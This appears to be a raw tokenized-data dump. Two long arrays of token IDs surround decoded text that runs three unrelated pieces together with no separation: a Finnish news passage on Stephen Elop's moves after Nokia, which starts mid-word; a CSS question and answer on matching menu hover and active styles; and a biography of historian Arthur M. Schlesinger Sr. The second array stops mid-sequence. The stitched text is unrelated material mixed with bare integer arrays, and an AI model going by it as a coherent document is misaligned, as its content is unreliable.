[ 1392, 12271, 28544, 327, 39939, 257, 8729, 3599, 30436, 340, 28993, 14899, 15, 25624, 5021, 465, 797, 3288, 340, 45161, 32617, 728, 32567, 15959, 396, 5650, 580, 507, 66, 278, 928, 257, 5985, 2966, 30997, 13, 3641, 23187, 278, 447, 396, 5650, 580, 8765, 74, 268, 15175, 555, 90, 15, 187, 187, 44, 86, 2788, 1920, 893, 619, 2381, 3296, 1222, 9664, 716, 19719, 2301, 75, 472, 1914, 17069, 22289, 355, 1945, 343, 75, 1952, 45988, 427, 536, 451, 893, 27723, 312, 505, 16189, 1111, 47130, 86, 2955, 5104, 661, 1479, 2381, 29045, 13, 480, 5503, 3599, 412, 34163, 3371, 384, 25725, 15, 657, 10986, 256, 4692, 66, 13, 20463, 9664, 340, 9866, 15175, 344, 770, 1392, 570, 561, 1392, 465, 23988, 16288, 1135, 284, 360, 1342, 465, 1164, 76, 335, 266, 16288, 400, 3508, 15, 187, 187, 1253, 9664, 47657, 601, 74, 16288, 484, 24968, 2301, 75, 26499, 6362, 8729, 327, 1465, 2381, 6421, 1440, 6841, 1767, 4137, 4034, 30687, 386, 267, 483, 893, 963, 2381, 620, 382, 18453, 36383, 1392, 340, 965, 11737, 700, 402, 297, 7080, 8727, 26243, 6356, 249, 49635, 37936, 249, 7846, 74, 15, 19954, 21040, 2301, 75, 26499, 8727, 13, 3599, 412, 2, 473, 1059, 1045, 1392, 76, 413, 27544, 4137, 297, 17062, 7897, 404, 8712, 13, 256, 3230, 37707, 8939, 350, 74, 500, 9608, 8498, 257, 15, 187, 187, 6961, 15, 12167, 3599, 412, 298, 2381, 1767, 15175, 1484, 438, 292, 419, 4740, 43166, 281, 261, 1862, 8429, 12901, 6429, 522, 455, 12354, 15, 4798, 451, 39198, 716, 2205, 45161, 2381, 21123, 10981, 268, 1278, 4530, 66, 313, 9245, 343, 610, 85, 281, 885, 257, 5796, 652, 86, 328, 10, 46276, 3024, 716, 3696, 862, 74, 333, 661, 1479, 17685, 3371, 384, 1432, 8765, 74, 15, 346, 8677, 30436, 8485, 86, 26171, 327, 3371, 384, 5781, 21123, 1344, 266, 3483, 571, 66, 6429, 647, 1342, 7675, 536, 266, 716, 3696, 862, 74, 333, 45161, 2381, 22516, 995, 44130, 414, 296, 728, 32567, 15959, 20017, 287, 893, 266, 15, 187, 187, 16880, 6077, 22616, 246, 2880, 85, 1392, 21380, 45994, 18889, 247, 2804, 5741, 826, 1432, 290, 5781, 632, 1479, 16713, 303, 39078, 507, 66, 473, 339, 44316, 6429, 29496, 266, 4014, 4698, 76, 2610, 4002, 15, 187, 187, 43017, 1344, 266, 268, 31923, 22616, 18889, 5580, 39198, 26243, 76, 2381, 267, 24470, 1479, 4530, 465, 19014, 3599, 412, 6077, 34163, 6429, 647, 1342, 402, 321, 303, 1342, 465, 6841, 5134, 14750, 1392, 90, 45161, 17685, 480, 1368, 69, 30797, 43579, 6429, 384, 580, 25445, 9664, 14302, 13, 2985, 1392, 39939, 383, 1392, 247, 1479, 3230, 266, 458, 400, 28205, 249, 480, 20414, 35926, 48238, 8727, 45641, 13865, 5309, 384, 1432, 5781, 15, 187, 187, 1253, 18559, 26243, 1767, 32617, 45079, 5580, 4631, 571, 13, 4784, 1392, 45079, 8919, 282, 292, 13, 22616, 4927, 249, 1392, 544, 43017, 10981, 66, 62, 340, 282, 2188, 38083, 7239, 25871, 15, 388, 6841, 327, 256, 400, 5650, 614, 6077, 288, 4113, 377, 484, 66, 20592, 8727, 13, 28230, 729, 3750, 7699, 3288, 15, 187, 187, 24534, 249, 27082, 6584, 20626, 41405, 278, 466, 2955, 282, 427, 536, 757, 480, 1368, 69, 30797, 15, 11198, 1392, 81, 1392, 826, 307, 266, 278, 466, 2955, 282, 13, 480, 1368, 251, 3599, 412, 427, 536, 757, 465, 6841, 5134, 76, 2381, 29074, 5765, 9720, 32, 187, 187, 1253, 322, 4002, 27082, 6584, 30287, 251, 28074, 15, 1023, 288, 2788, 76, 4113, 479, 1820, 15, 50, 27, 187, 187, 2347, 281, 1056, 253, 26445, 966, 1072, 347, 253, 3939, 966, 187, 187, 4943, 310, 253, 47121, 27, 3944, 1358, 43265, 15, 3024, 16, 483, 15656, 75, 20, 68, 16, 19, 16, 187, 15597, 27, 187, 29, 335, 966, 568, 78, 2428, 14, 11746, 1138, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 568, 5264, 9072, 31, 18686, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 20679, 966, 568, 4507, 5264, 9072, 31, 10572, 441, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 37387, 654, 9072, 31, 10572, 441, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 870, 335, 31, 187, 187, 42, 651, 751, 8385, 342, 767, 1841, 27, 187, 187, 2347, 476, 309, 4055, 253, 2505, 28446, 534, 8495, 84, 342, 253, 14150, 187, 2347, 476, 309, 1056, 253, 26445, 966, 1072, 347, 253, 3939, 966, 187, 187, 34, 27, 187, 187, 42, 2335, 253, 17843, 273, 294, 14, 17695, 326, 16710, 15, 187, 2413, 1358, 43265, 15, 3024, 16, 483, 15656, 75, 20, 68, 16, 24, 16, 313, 49539, 253, 2127, 10, 187, 2915, 92, 187, 50274, 11814, 27, 1852, 37, 1703, 1703, 38, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 92, 187, 50274, 3550, 14, 4826, 14, 881, 27, 5293, 28, 187, 50274, 3429, 27, 1052, 3498, 28, 187, 50274, 15456, 27, 470, 3498, 28, 187, 50274, 17333, 27, 470, 3498, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 92, 187, 50274, 8412, 27, 2972, 28, 187, 50274, 15456, 14, 10492, 27, 337, 3498, 28, 187, 50274, 11814, 27, 1852, 45231, 28, 50274, 187, 50274, 1156, 14, 16702, 27, 4627, 41810, 28, 187, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 92, 187, 50274, 17333, 27, 470, 3498, 1384, 3498, 28, 187, 50274, 1282, 14, 7436, 27, 2456, 3498, 28, 187, 50274, 1156, 14, 43101, 27, 5293, 28, 187, 50274, 8412, 27, 2972, 28, 187, 50274, 3321, 27, 4103, 28, 187, 50274, 4897, 27, 1852, 16742, 28, 187, 50274, 15456, 14, 1274, 27, 470, 3498, 28, 187, 50274, 15456, 14, 918, 27, 470, 3498, 28, 2490, 50274, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 80, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 983, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 24024, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 20726, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 50276, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 92, 187, 50272, 14224, 14, 1274, 27, 577, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 918, 27, 577, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 50276, 187, 50272, 15456, 14, 1274, 27, 428, 21, 3498, 28, 187, 50272, 15456, 14, 918, 27, 428, 21, 3498, 28, 187, 50272, 4897, 27, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 3364, 14, 84, 3006, 27, 5680, 14, 3364, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 27, 9131, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 27, 9131, 92, 187, 50272, 6071, 27, 29707, 187, 50272, 3321, 27, 7880, 28, 187, 50272, 3956, 27, 5976, 10543, 187, 50272, 1274, 27, 470, 28, 187, 50272, 14224, 14, 1274, 27, 608, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 3956, 27, 608, 3498, 4891, 13955, 28, 187, 50272, 14224, 14, 10492, 27, 608, 3498, 4891, 13955, 28, 50274, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 27, 6438, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 27, 6438, 92, 187, 50272, 6071, 27, 29707, 187, 50272, 3321, 27, 7880, 28, 187, 50272, 3956, 27, 5976, 10543, 187, 50272, 918, 27, 470, 28, 187, 50272, 14224, 14, 918, 27, 608, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 3956, 27, 608, 3498, 4891, 13955, 28, 187, 50272, 14224, 14, 10492, 27, 608, 3498, 4891, 13955, 28, 209, 187, 94, 535, 34021, 353, 15, 3697, 868, 4940, 22827, 15, 187, 187, 34021, 3189, 1321, 3697, 868, 4940, 22827, 15, 42744, 5080, 3435, 13, 44728, 50276, 1253, 4437, 1884, 13, 18417, 10, 369, 271, 2448, 24072, 665, 10256, 387, 17330, 2499, 13, 45200, 2675, 2892, 285, 10106, 2892, 15, 754, 369, 247, 39935, 39233, 12720, 665, 21198, 2144, 5997, 313, 10328, 347, 5054, 11528, 285, 7344, 875, 2136, 3767, 285, 14768, 10, 285, 1066, 35293, 25680, 285, 2193, 347, 42852, 323, 9493, 14142, 15, 754, 369, 4122, 20803, 347, 247, 6423, 273, 23011, 5408, 797, 569, 387, 17330, 323, 1264, 8007, 13, 3340, 275, 253, 4910, 273, 2675, 13, 2255, 434, 13, 285, 13163, 2892, 15, 3032, 3347, 13, 15948, 353, 15, 3697, 868, 4940, 10512, 15, 313, 746, 1166, 1253, 8602, 582, 671, 10256, 387, 17330, 285, 369, 247, 4879, 24072, 15, 187, 187, 14660, 285, 5249, 187, 10859, 868, 4940, 434, 3392, 13, 10246, 10984, 3697, 868, 4940, 13, 369, 247, 37138, 757, 5679, 13, 285, 521, 3101, 13, 50276, 47085, 313, 46117, 5721, 321, 282, 582, 369, 271, 29535, 10503, 15, 380, 767, 11516, 281, 31573, 1204, 2366, 285, 37797, 14092, 281, 1594, 23364, 13, 10128, 13, 275, 1283, 3547, 15, 187, 187, 1328, 369, 5686, 275, 1594, 23364, 13, 10128, 13, 285, 20981, 432, 380, 10128, 2418, 2499, 275, 31707, 15, 3900, 247, 5974, 387, 10128, 2418, 13, 344, 369, 15247, 715, 253, 10128, 1503, 1464, 8857, 273, 253, 1777, 74, 25291, 380, 893, 1315, 33040, 15, 754, 2335, 521, 1777, 15, 37, 15, 50276, 249, 2892, 387, 12746, 2499, 13, 835, 344, 369, 12208, 407, 1097, 30806, 418, 15, 473, 8433, 836, 285, 8444, 329, 15, 2325, 472, 15, 754, 10256, 387, 10128, 2418, 285, 253, 2499, 273, 14890, 1078, 344, 7416, 253, 14953, 273, 17330, 2499, 347, 247, 11652, 273, 2892, 275, 32921, 13, 17288, 26485, 9857, 20757, 285, 10256, 387, 17330, 1919, 24178, 15, 50276, 13804, 12299, 434, 3697, 868, 4940, 11397, 275, 2255, 434, 2892, 310, 4907, 846, 779, 285, 521, 4475, 13, 12694, 13, 247, 4879, 32411, 15, 754, 3395, 271, 8121, 273, 253, 1457, 5854, 29787, 314, 275, 31751, 15, 187, 187, 688, 9693, 275, 29063, 13, 2846, 6338, 13, 762, 253, 9550, 273, 5490, 11579, 2205, 13, 13699, 281, 5263, 20145, 322, 3751, 604, 703, 7560, 327, 4201, 1453, 15, 496, 2380, 13, 703, 6225, 327, 3924, 13, 11561, 342, 247, 46579, 689, 617, 6208, 13, 1223, 617, 6519, 369, 1239, 407, 3697, 868, 4940, 15, 187, 187, 1328, 11346, 2266, 2021, 16027, 285, 11847, 15, 3032, 767, 18903, 13, 10876, 2485, 285, 38502, 17218, 2072, 13, 3395, 2143, 442, 24751, 285, 1160, 352, 1896, 323, 616, 1264, 9243, 13189, 313, 23108, 13, 15948, 13, 285, 36883, 10, 281, 8041, 6831, 38588, 275, 11369, 13, 2892, 285, 1569, 15, 2596, 273, 521, 15196, 369, 5686, 15948, 378, 1377, 287, 649, 3697, 868, 4940, 285, 7932, 521, 4766, 1416, 342, 346, 39538, 937, 6240, 10512, 904, 1996, 275, 1495, 15, 187, 187, 10859, 868, 4940, 4962, 387, 7993, 35134, 2652, 798, 312, 8896, 275, 9693, 13, 14070, 15, 187, 187, 42317, 284, 187, 1328, 33536, 35842, 2675, 2892, 285, 10106, 2892, 15, 754, 369, 247, 39935, 39233, 12720, 665, 21198, 2144, 5997, 313, 3022, 5054, 11528, 10, 285, 1066, 35293, 25680, 285, 2193, 347, 42852, 323, 9493, 14142, 15, 754, 369, 4122, 20803, 347, 247, 6423, 273, 23011, 5408, 797, 569, 387, 17330, 323, 1264, 8007, 13, 3340, 275, 253, 4910, 273, 2675, 13, 2255, 434, 13, 285, 13163, 2892, 15, 754, 20503, 275, 33287, 13, 346, 4509, 4361, 2892, 275, 45789, 581, 651, 1158, 2716, 273, 776, 3072, 1160, 760, 247, 22879, 7680, 281, 2892, 449, 50276, 1328, 15127, 2675, 2892, 407, 820, 14, 264, 2996, 253, 2145, 14, 21970, 9541, 273, 2448, 7813, 313, 746, 1619, 1253, 47868, 10, 2962, 342, 39736, 13114, 11024, 15, 2053, 5026, 14118, 13, 3542, 407, 4283, 2872, 12981, 13, 6571, 3693, 8672, 13, 4292, 13, 285, 10281, 3374, 15, 1583, 3185, 2770, 327, 824, 12989, 347, 5948, 13, 35949, 13, 5054, 13, 8039, 13, 8142, 13, 9001, 13, 4730, 13, 285, 8928, 1495, 15, 187, 187, 688, 346, 53, 1487, 273, 2448, 27282, 937, 247, 49317, 16555, 275, 253, 27709, 8439, 275, 22745, 13, 344, 3559, 521, 6776, 474, 1859, 273, 2892, 534, 3636, 17948, 22957, 875, 12773, 285, 11518, 3872, 12315, 84, 13, 533, 352, 17755, 1643, 30525, 7419, 432, 521, 3347, 15, 3697, 868, 4940, 5611, 253, 2934, 273, 30587, 30525, 281 ]	äätös on hänen ja Elopin yhteinen. Nadella kertoo yhtiötiedotteessa seuraavansa mielenkiinnolla, mihin mies seuraavaksi päätyy. Kuukautta myöhemmin Microsoft tekee miljardien eurojen alaskirjauksen Nokialta ostamastaan matkapuhelinyksiköstä, jota Elop oli johtanut. Voi sanoa, että Microsoft ynnää heittäneensä koko kauppasumman kankkulan kaivoon. – Microsoft maksoi kaupasta miljardeja ja on hyödyttänyt Suomen kansantaloutta työllistämällä yli tuhat suomalaista näihin päiviin asti. Kiitos miljardeista, Elop! Olet eläkkeesi Suomesta ansainnut, sanailee Petteri Järvinen. 2016. Stephen Elop löytää uudet haasteensa toiselta puolen maapalloa. Australialainen teleyhtiö Telstra palkkaa (siirryt toiseen palveluun)hänet teknologiayksikön johtajaksi. "Elopin vastuulla on johtaa Telstran strategiaa maailmanluokan teknologiayhtiöksi", nimitystiedotteessa kerrotaan. Microsoftilla ei tiettävästi ole aikeita laajentaa liiketoimintaansa Oseanian maanosan telemarkkinoille. Telstran pesti ei ole sellainen näköalapaikka kuin Elopilla oli maailman suurimman kännykkäyhtiön johdossa tai mahtavassa Microsoftissa, missä hänestä aikanaan leivottiin jopa mahdollista toimitusjohtajaa. – Jos näytöt ovat sellaisia, mitä ovat olleet, ei siinä [Telstraa] ylemmäs pysty. Hän on sivuraiteilla huippupaikoista, Rothovius sanoo. Niin kävi Kanadan miehelle Nokian johdossa. Entäpä lautan miehelle, johon Elop Nokian kännyköitä vertasi? – Sille kävi huonosti. Se hukkui mereen.Q: How to make the hover class same as the active class Here is the fiddle: http://jsfiddle.net/outpbj3c/2/ HTML: <ul class="mcd-menu"> <li> <a href=""><strong>Home</strong></a> </li> <li> <a href="" class="active"><strong>About us</strong></a> </li> <li> <a href=""> <strong>About us</strong></a> </li> </ul> I would like assistance with two things: How can I center the text vertically which aligns with the arrow How can I make the hover class same as the active class A: I took the liberty of re-writing that CSS. http://jsfiddle.net/outpbj3c/7/ (edited the code) body{ background: #DEDEDE; } ul.mcd-menu{ list-style-type: none; width: 200px; margin: 0px; padding: 0px; } ul.mcd-menu li{ display: block; margin-bottom: 1px; background: #FFF; text-transform: uppercase; } ul.mcd-menu li a{ padding: 0px 20px; line-height: 50px; text-decoration: none; display: block; position: relative; color: #999; margin-left: 0px; margin-right: 0px; transition: color 300ms linear; -o-transition: color 300ms linear; -ms-transition: color 300ms linear; -moz-transition: color 300ms linear; -webkit-transition: color 300ms linear; } ul.mcd-menu li a.active, ul.mcd-menu li a:hover{ border-left: 4px solid #e67e22; border-right: 4px solid #e67e22; margin-left: -4px; margin-right: -4px; color: #e67e22; box-sizing: border-box; } ul.mcd-menu li a.active:before, ul.mcd-menu li a:hover:before{ content: ""; position: absolute; top: 42%; left: 0; border-left: 5px solid #e67e22; border-top: 5px solid transparent; border-bottom: 5px solid transparent; } ul.mcd-menu li a.active:after, ul.mcd-menu li a:hover:after{ content: ""; position: absolute; top: 42%; right: 0; border-right: 5px solid #e67e22; border-top: 5px solid transparent; border-bottom: 5px solid transparent; } Arthur M. Schlesinger Sr. Arthur Meier Schlesinger Sr. (; February 27, 1888 – October 30, 1965) was an American historian who taught at Harvard University, pioneering social history and urban history. He was a Progressive Era intellectual who stressed material causes (such as economic profit and conflict between businessmen and farmers) and downplayed ideology and values as motivations for historical actors. He was highly influential as a director of PhD dissertations at Harvard for three decades, especially in the fields of social, women's, and immigration history. His son, Arthur M. Schlesinger Jr. (1917–2007), also taught at Harvard and was a noted historian. Life and career Schlesinger's father, Bernhard Schlesinger, was a Prussian Jew, and his mother, Kate (née Feurle), was an Austrian Catholic. The two converted to Protestantism together and emigrated to Xenia, Ohio, in 1872. He was born in Xenia, Ohio, and graduated from The Ohio State University in 1910. While a student at Ohio State, he was initiated into the Ohio Zeta chapter of the Phi Delta Theta fraternity. He took his Ph.D. in history at Columbia University, where he was influenced by both Herbert L. Osgood and Charles A. Beard. He taught at Ohio State and the University of Iowa before he joined the faculty of Harvard University as a professor of history in 1924, succeeded Frederick Jackson Turner and taught at Harvard until 1954. Harvard's Schlesinger Library in women's history is named after him and his wife, Elizabeth, a noted feminist. He became an editor of the New England Quarterly in 1928. In Boston in 1929, city officials, under the leadership of James Curley, threatened to arrest Margaret Sanger if she spoke on birth control. In response, she stood on stage, silent with a gag over her mouth, while her speech was read by Schlesinger. He enjoyed strong family ties and commitment. His two sisters, Olga and Marion Etna, became schoolteachers and made it possible for their three younger brothers (George, Arthur, and Hugo) to attend college graduating in engineering, history and law. One of his sons was born Arthur Bancroft Schlesinger and replaced his middle name with "Meier," adding Jr., later in life. Schlesinger died at Peter Bent Brigham Hospital in Boston, Massachusetts. Ideas He pioneered social history and urban history. He was a Progressive Era intellectual who stressed material causes (like economic profit) and downplayed ideology and values as motivations for historical actors. He was highly influential as a director of PhD dissertations at Harvard for three decades, especially in the fields of social, women's, and immigration history. He commented in 1922, "From reading history in textbooks one would think half of our population made only a negligible contribution to history." He promoted social history by co-editing the 13-volume History of American Life (1928–1943) series with Dixon Ryan Fox. These thick volumes, written by leading young scholars, mostly avoid politics, individuals, and constitutional issues. They instead focus on such topics as society, demographics, economic, housing, fashion, sports, education, and cultural life. In "Tides of American Politics," a provocative essay in the Yale Review in 1939, he presented his cyclical view of history which identified irregular oscillations between liberal and conservative national moods, but it attracted few historians apart from his son. Schlesinger introduced the idea of polling historians to
[ 13266, 28, 7734, 996, 186, 1012, 36, 21, 37, 22, 4280, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 1738, 426, 551, 8901, 426, 28295, 4505, 12905, 28, 1390, 33931, 48632, 426, 2603, 3211, 15, 36036, 28, 1854, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 28, 2603, 14444, 426, 16375, 4399, 27988, 7734, 996, 186, 1012, 36, 21, 37, 22, 2648, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 1738, 426, 551, 8901, 426, 28295, 4505, 12905, 28, 1390, 33931, 48632, 426, 2505, 15, 45890, 15, 7229, 28, 1854, 426, 28730, 15, 45890, 28, 2603, 14444, 426, 16375, 4399, 27988, 7734, 187, 3122, 8072, 28295, 4505, 12905, 2593, 1738, 187, 187, 3122, 22929, 28295, 9270, 4896, 10987, 30335, 2593, 1738, 996, 186, 1012, 36, 21, 37, 22, 34, 3156, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 35, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 2405, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 1738, 426, 551, 988, 186, 8901, 426, 28295, 9270, 4896, 10987, 30335, 28, 988, 186, 7973, 9019, 17031, 426, 374, 14555, 2385, 23100, 24, 28, 988, 186, 11242, 426, 313, 988, 186, 558, 988, 186, 6321, 11564, 2214, 3848, 27378, 8983, 21678, 426, 470, 28, 996, 186, 4718, 187, 3122, 8072, 28295, 9270, 4896, 10987, 30335, 2593, 1738, 187, 187, 3122, 22929, 28295, 6998, 2593, 1738, 996, 186, 1012, 36, 21, 37, 3046, 38, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 4739, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 33701, 2657, 186, 1012, 36, 21, 37, 22, 8998, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3593, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 23910, 33701, 988, 186, 558, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 34, 3593, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 23910, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 3677, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 15, 1212, 33701, 2657, 186, 1012, 36, 21, 37, 22, 10172, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 89, 291, 383, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 3832, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 89, 291, 383, 33701, 988, 186, 558, 988, 186, 1590, 426, 23910, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 34, 4739, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 2446, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 2051, 23757, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 1934, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 9182, 8929, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 12648, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 11505, 15, 19192, 4697, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 883, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 2903, 1507, 15, 10587, 26094, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 2405, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 32371, 22249, 15, 19192, 4697, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 8998, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 16380, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 883, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 1738, 426, 551, 988, 186, 8901, 426, 28295, 6998, 28, 988, 186, 13863, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 4280, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 36036, 33701, 2657, 186, 1012, 36, 21, 37, 22, 2648, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28730, 15, 45890, 33701, 988, 186, 558, 988, 186, 3967, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 6756, 14444, 426, 16375, 4399, 27988, 996, 186, 4718, 187, 3122, 8072, 28295, 6998, 2593, 1738, 187, 187, 3122, 22929, 28295, 21408, 12168, 2593, 1738, 996, 186, 1012, 36, 21, 37, 22, 34, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 7386, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 34, 2405, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3156, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 34, 3712, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 34, 3677, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 15, 1212, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 13259, 3664, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 6327, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 37, 1797, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 26943, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 35, 3677, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 35, 